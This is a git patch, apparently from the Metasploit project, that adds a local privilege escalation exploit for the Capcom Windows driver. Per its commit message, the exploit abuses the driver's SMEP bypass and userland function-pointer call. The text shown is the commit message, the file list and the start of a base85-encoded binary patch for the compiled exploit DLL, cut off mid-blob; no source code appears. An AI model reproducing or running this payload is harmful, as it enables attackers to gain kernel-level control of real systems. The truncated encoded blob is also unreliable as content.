From 0e82ced0829a78e947d70c6c4d7c5a46dad48afc Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 27 Sep 2016 22:37:45 +1000 Subject: [PATCH] Add LPE exploit module for the capcom driver flaw This commit includes: * RDI binary that abuses the SMEP bypass and userland function pointer invocation that is provided by the driver. * Related metasploit module. * Associated make.build to build from command line. * Updated command line build file. This also includes the beginnings of a new set of functions that help with the management/automation of kernel-related work on Windows for local priv esc exploits. --- .../capcom_sys_exec/capcom_sys_exec.x64.dll | Bin 0 -> 85504 bytes .../exploits/capcom_sys_exec/.gitignore | 151 ++++++++++ .../capcom_sys_exec/capcom_sys_exec.sln | 19 ++ .../capcom_sys_exec/capcom_sys_exec.c | 110 +++++++ .../capcom_sys_exec/capcom_sys_exec.vcxproj | 107 +++++++ .../exploits/capcom_sys_exec/make.msbuild | 17 ++ external/source/exploits/make.bat | 7 + external/source/win_kernel_common/kernel.c | 274 ++++++++++++++++++ external/source/win_kernel_common/kernel.h | 23 ++ external/source/win_kernel_common/windefs.h | 199 +++++++++++++ .../exploits/windows/local/capcom_sys_exec.rb | 118 ++++++++ 11 files changed, 1025 insertions(+) create mode 100755 data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll create mode 100755 external/source/exploits/capcom_sys_exec/.gitignore create mode 100755 external/source/exploits/capcom_sys_exec/capcom_sys_exec.sln create mode 100755 external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c create mode 100755 external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.vcxproj create mode 100755 external/source/exploits/capcom_sys_exec/make.msbuild create mode 100755 external/source/win_kernel_common/kernel.c create mode 100755 external/source/win_kernel_common/kernel.h create mode 100755 external/source/win_kernel_common/windefs.h create mode 100644 modules/exploits/windows/local/capcom_sys_exec.rb diff --git a/data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll b/data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..b0351af82073538d0a40e52836c36a66fb3fbe11 GIT binary patch literal 85504 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 